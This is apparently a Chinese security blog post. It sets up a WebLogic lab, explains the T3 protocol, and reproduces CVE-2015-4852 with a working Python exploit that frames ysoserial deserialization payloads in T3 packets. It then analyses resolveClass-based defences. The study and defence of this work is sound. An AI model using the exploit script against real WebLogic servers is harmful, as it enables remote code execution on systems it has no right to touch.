Webloigc的安装
weblogic的安装其实是一个麻烦事,但是奇安信A-Team提供的脚本确实是方便。 weblogi安装脚本:https://github.com/QAX-A-Team/WeblogicEnvironment 但是问题来了,我用脚本安装的时候并不是一帆风顺的。我在issues中碰到了同样的问题,回复给出了解释:centos 8 于2021年12月31日停止了源的服务,需要修改yum的源等等操作。 刚开始以为所有的源都停止了服务,后来还是公司技术支持的dockers/k8s大佬帮我解决的,解决方法是修改了创建docker镜像的Dockerfile文件,找到一个有8.4.2105的源地址,在pull的时候,去我们修改的源中去pull。后续我会把项目重新打包去回掉那个issue。 根据文档指示: 下载相应的JDK版本和Weblogic安装包,将JDK安装包放到jdks/目录下,将Weblogic安装包放到weblogics/目录下。
JDK安装包下载地址:https://www.oracle.com/technetwork/java/javase/archive-139210.html
Weblogic安装包下载地址:https://www.oracle.com/technetwork/middleware/weblogic/downloads/wls-for-dev-1703574.html
以Weblogic12.1.3配JDK 7u21为例,构建镜像命令如下:
docker build --build-arg JDK_PKG=jdk-7u21-linux-x64.tar.gz --build-arg WEBLOGIC_JAR=fmw_12.1.3.0.0_wls.jar -t weblogic12013jdk7u21 .
镜像构建完成后,执行以下命令运行:
docker run -d -p 7001:7001 -p 8453:8453 -p 5556:5556 --name weblogic12013jdk7u21 weblogic12013jdk7u21
运行后可访问http://localhost:7001/console/login/LoginForm.jsp登录到Weblogic Server管理控制台,默认用户名为weblogic,默认密码为qaxateam01 远程调试 下载10的版本要拉取如下:
mkdir ./middleware
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/modules ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/wlserver ./middleware/
docker cp weblogic1036jdk7u21:/u01/app/oracle/middleware/coherence_3.7/lib ./coherence_3.7/lib
由于我这里是12的版本,所以要拉取如下版本的代码和依赖:
/u01/app/oracle/middleware/wlserver/modules
/u01/app/oracle/middleware/wlserver
/u01/app/oracle/middleware/coherence/lib
直接利用 IDEA 打开了 wlserver 文件夹,将server/lib导入项目 将coherence/lib 导入项目 配置页面添加 Remote 然后端口修改为 8453 debug运行,当看到 console 中出现如下那么就说明成功了
T3协议
什么是T3协议?
解释摘抄自此文 Weblogic的RMI规范的实现使用一个专有协议T3。 您可以将T3(和安全T3S)视为坐在http之上的一个图层,以公开/允许客户端的JNDI调用。 通常,T3协议用于与WebLogic控制台进行交互。 T3是用于在WebLogic服务器和其他types的Java程序之间传输信息的协议。 WebLogic会跟踪连接到应用程序的每个Java虚拟机。 为了将stream量传送到Java虚拟机,WebLogic创build一个T3连接。 这种types的连接通过消除用于在networking之间进行通信的多个协议来最大化效率,从而使用较less的操作系统资源。 用于T3连接的协议还可以提高效率并最小化数据包大小,从而提高传输方法的速度。 总结一下:简而言之就是 WebLogic服务器中的RMI通信使用T3协议在WebLogic Server和其他Java程序(包括客户端和其他WebLogic服务器实例)之间传输数据。
t3协议能干嘛
例如,如果Java客户端访问WebLogic Server上的企业Bean和JDBC连接池,则WebLogic Server JVM和客户端JVM之间将build立单个networking连接。 可以将EJB和JDBC服务写成就好像它们单独使用专用networking连接一样,因为T3协议隐式地在单个连接上多路复用数据包。
t3的端口
t3协议与weblogic的web服务使用同一个端口(默认7001),当你以http协议请求weblogic会使用http协议处理,你以t3协议请求就以t3协议处理!
T3协议概述
RMI通信传输反序列化数据,接收数据后进行反序列化,正常RMI通信使用的是JRMP协议,而在Weblogic的RMI通信中使用的是T3协议。T3协议是Weblogic独有的一个协议,相比于JRMP协议多了一些特性。
T3协议的特点
1:服务端可以持续追踪监控客户端是否存活(心跳机制),通常心跳的间隔为60秒,服务端在超过240秒未收到心跳即判定与客户端的连接丢失。 2:通过建立一次连接可以将全部数据包传输完成,优化了数据包大小和网络消耗。
t3协议结构
T3协议里包含请求包头和请求的主体这两部分内容。 请求包头如下:
t3 12.2.1 AS:255 HL:19 MS:10000000 PU:t3://us-l-breens:7001
发送一个请求包的头,看看会返回什么
import socket
def T3Test(ip,port):
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((ip, port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n" #请求包的头
sock.sendall(handshake.encode())
while True:
data = sock.recv(1024)
print(data.decode())
if __name__ == "__main__":
ip = "192.168.210.31"
port = 7001
T3Test(ip,port)
返回内容中包含了版本信息,我的版本信息为12.1.3.0.0 用wireshark抓包,可以看到HELO标识后面会返回版本号信息。 请求主体 T3协议中传输的都是序列化数据,分为七个部分,第一部分就是协议头,也就是
t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n
借用两张图来描述一下T3协议包的主要内容,如下: 第二到第七部分内容,开头都是ac ed 00 05 ,说明这些都是序列化的数据。只要把其中一部分替换成我们的序列化数据就可以了,有两种替换方式:
1:将weblogic发送的JAVA序列化数据的第二到九部分的JAVA序列化数据的任意一个替换为恶意的序列化数据。
2:将weblogic发送的JAVA序列化数据的第一部分与恶意的序列化数据进行拼接。
复现 这里可以用jdk7u21和cc1两条链,用创建文件的方式来检验反序列化是否成功
from os import popen
import struct # 负责大小端的转换
import subprocess
from sys import stdout
import socket
import re
import binascii
def generatePayload(gadget,cmd):
YSO_PATH = "ysoserial.jar"
popen = subprocess.Popen(['java','-jar',YSO_PATH,gadget,cmd],stdout=subprocess.PIPE)
return popen.stdout.read()
def T3Exploit(ip,port,payload):
sock =socket.socket(socket.AF_INET,socket.SOCK_STREAM)
sock.connect((ip,port))
handshake = "t3 12.2.3\nAS:255\nHL:19\nMS:10000000\n\n"
sock.sendall(handshake.encode())
data = sock.recv(1024)
compile = re.compile("HELO:(.*).0.false")
match = compile.findall(data.decode())
if match:
print("Weblogic: "+"".join(match))
else:
print("Not Weblogic")
#return
#1.占位保证总长度计算正确
header = binascii.a2b_hex(b"00000000")
#2.固定的T3协议头
t3header = binascii.a2b_hex(b"016501ffffffffffffffff000000690000ea60000000184e1cac5d00dbae7b5fb5f04d7a1678d3b7d14d11bf136d67027973720078720178720278700000000a000000030000000000000006007070707070700000000a000000030000000000000006007006")
#3.weblogic反序列化数据的标志
desflag = binascii.a2b_hex(b"fe010000")
#4.跟ysoserial生成的payload拼接起来
payload = header + t3header +desflag+ payload
#5.计算长度替换掉用来占位的字符,也就是前四位
payload = struct.pack(">I",len(payload)) + payload[4:]
sock.send(payload)
if __name__ == "__main__":
ip = "192.168.210.31"
port = 7001
gadget = "CommonsCollections1"
cmd = "touch /tmp/success"
payload = generatePayload(gadget,cmd)
T3Exploit(ip,port,payload)
查看一下dockers里的/tmp目录,发现成功创建了success文件 这个poc本质就是把ysoserial生成的payload变成t3协议里的数据格式。
数据包长度包括了自身长度和其他三部分数据包长度,所以需要先占位,计算出长度后再替换进去
T3协议头是固定的,直接硬编码进去就行
反序列化标志+数据=weblogic反序列化标志fe010000+ysoserial生成的序列化数据
payload数据包分析 wireshark过滤一下我们的请求包tcp.port == 7001 找到刚才发的包我们跟踪tcp流看一下: 第一个数据包是我们发送的请求头,第二个数据包是weblogic回复HELO和版本,第三个才是payload数据包。 来详细看一下第三个数据包,主要有四个组成部分,如下
四部分组成如下:
1.数据包长度
2.T3协议头
3.反序列化标志:T3协议中每个反序列化数据包前面都带有fe 01 00 00,再加上反序列化标志ac ed 00 05就变成了fe 01 00 00 ac ed 00 05
4.数据
CVE-2015-4852
漏洞点存在于weblogic.rjvm.InboundMsgAbbrev#readObject方法中 这里是实例了本类中另一个类的readObject方法,跟进看一下:
这里ServerChannelInputStream继承了ObjectInputStream类,重写了resolveClass方法,我们可以看到87行,调用了父类的resolveClass方法,实际上就是直接引用了父类的方法,并未重写。等于没有做任何防御,导致漏洞的出现。 既然存在反序列化漏洞,我们尝试找到对我们有利的jar包,也就是利用链,我这里的版本是12.1.3.0.0,查找一下module模块下jar包。 在weblogic10这个版本中匹配commons字符,有commons.collections_3.2.0.jar,这个包,我这里的版本是weblogic12.1.3.0.0这个版本,并没有匹配出来cc3.2这个包,但是上面的payload中用ysoserial生成的cc1链条可以成功执行,我猜测可能是cc3.2封装到了其他jar包中,可能吧,只是个猜测,欢迎大佬指点。
resolveClass
我们来了解一下resolveClass这个方法。这个方法是干什么的呢,他是反序列化中解析反序列化数据中获取类名的类。 Java程序中类ObjectInputStream的readObject方法被用来将数据流反序列化为对象,如果流中的对象是class,则它的ObjectStreamClass描述符会被读取,并返回相应的class对象,ObjectStreamClass包含了类的名称及serialVersionUID。 如果类描述符是动态代理类,则调用resolveProxyClass方法来获取本地类。如果不是动态代理类则调用resolveClass方法来获取本地类。如果无法解析该类,则抛出ClassNotFoundException异常。 先给出一张weblogic原生 readObject 内部流程:(此图为引用,侵删)
上面说的类描述符,反序列化是否为代理类,其实也好理解,我们跟进到ObjectInputStream类中,找到resolveClass这个方法,在idea中Ctrl+Alt+h,查看谁调用了这个类。 一步步跟进,流程如下: 为什么说resolveClass可以防御Java反序列化? resolveClass方法的作用是从类序列化描述符获取类的Class对象,如果在resolveClass中增加一个检查,检查一下该类的序列化描述符中记录的类名是否在黑名单上,如果在黑名单上,直接抛出错误,不允许获取恶意的类的Class对象。这样以来,恶意类连生成Class对象的机会都没有。
结合shiro分析 resolveClass方法的作用是将类的序列化描述符加工成该类的Class对象。
前面分析readObject方法的时候,我们得知了shiro就是重写了resolveClass方法导致很多利用链无法使用,但是shiro在编写的时候,并不是为了防御反序列化漏洞才去重写的resolveClass,但是就是这么一个无意间的举动,导致了防御住了大部分攻击。
而在后面的weblogic补丁当中,也会基于这个resolveClass去做反序列化漏洞的防御。 通过此方法,可灵活的设置允许反序列化类的白名单,也可设置不允许反序列化类的黑名单。但反序列化漏洞利用方法一直在不断的被发现,黑名单需要一直更新维护,且未公开的利用方法无法覆盖。
https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247485058&idx=1&sn=d22b310acf703a32d938a7087c8e8704
https://xz.aliyun.com/t/10365
https://www.anquanke.com/post/id/226070
http://wjlshare.com/archives/1573
https://blog.51cto.com/u_15127536/4577028
|